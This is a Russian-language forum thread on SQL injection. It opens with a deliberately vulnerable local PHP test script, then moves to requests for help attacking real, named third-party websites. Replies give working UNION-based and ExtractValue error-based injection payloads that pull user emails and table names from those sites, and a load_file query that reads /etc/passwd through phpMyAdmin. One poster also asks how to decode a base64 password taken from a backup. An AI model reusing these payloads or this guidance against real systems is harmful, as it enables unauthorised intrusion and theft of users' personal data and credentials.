Хм, но update или delete таким способом всё равно не сделать нельзя....... вроде близко бутерброд, а не укусишь) Пробовал через скрипт регистрации пользователей, там емейл экранируется только апострофами. Но! Cначала делается select, а только потом запись... и валится на select-е, а не на записи...
Только изучаю SQL Inj. Создал на локалке уязвимый php PHP: <?php $link = mysql_connect("localhost", "root", ""); mysql_select_db("site"); if (!isset($_GET['id'])) { $result=mysql_query("SELECT * FROM news"); while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { print "<a href='mynews.php?id=".$line['id']."'>Новость №".$line['id']."</a><br>"; } exit; } $query = "SELECT text FROM news WHERE id=".$_GET['id']; $result = mysql_query($query); print "<table>"; while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { print "<tr>"; foreach ($line as $col_value) { print "<td>$col_value</td>"; } print "</tr>"; } print "</table>"; mysql_free_result($result); mysql_close($link); ?> При запросе http://localhost/mynews.php?id=1' вылетает скуля. Ради интереса сделал такой запрос http://localhost/mynews.php?id=1; SELECT text FROM news WHERE id=2 В результате облом, хотя если сделать запрос через консоль SELECT text FROM news WHERE id=1; SELECT text FROM news WHERE id=2; то все ок. В чем проблема?
Подскажите, есть способы обхода такой вот защиты от инжектирования? http://www.karyera.kz/article_01.php?p_ArticleID=19%20or%201=1 http://www.karyera.kz/article_01.php?p_ArticleID=19 and 0 union select null,null,null,null,email,null from tbl_person
http://www.karyera.kz/article_01.php?p_ArticleID=19+and+0+union(select+1,email,3,4,5,6+/*!from*/+tbl_person)--+
http://www.southdevonchillifarm.co.uk/shop/dried-bhut-jolokia-naga-jolokia-imported-10g- '.html Не могу раскрутить. Помогите плиз
http://www.southdevonchillifarm.co.uk/shop/dried-bhut-jolokia-naga-jolokia-imported-10g'or(ExtractValue(1,concat(0x3a,version())))='1.html
http://dev.mysql.com/doc/refman/5.1/en/xml-functions.html#function_extractvalue подобными вопросами в гугл, не флудим в теме
В sql бекапе нашел следующую запись ('3','dsamir','dGVzdDEyMzQ=','[email protected]','M','V','1',NULL,'3','2010-06-08 00:44:28','3','0','1','1','') dGVzdDEyMzQ= я так понимаю это пароль, но чем он зашифрован? Я только начинаю курить..
такой вопросец, получил доступ в phpmyadmin питался скачать файл etc/passwd, не выводит, пробую записать в таблицу, так чет вместо содержимого etc/passwd пишет его как строчку. как исправить?
епрст! ну сколько можно. когда наконец откроете гребанный учебник по MySQL? все что внутри кавычек - называется строкой вы пишите текст, потом удивляетесь insert into tbl (`wtf`) values ((select load_file('/etc/passwd')))
Спасибо еще раз. Но дольше раскрутить не могу. Пробовал так _http://www.southdevonchillifarm.co.uk/shop/dried-bhut-jolokia-naga-jolokia-imported-10g'or(ExtractValue(1,concat(0x3d,select(TABLE_NAME)from(INFORMATION_SCHEMA.TABLES))))='1.html Но выдает ошибку 406. Что можно сделать?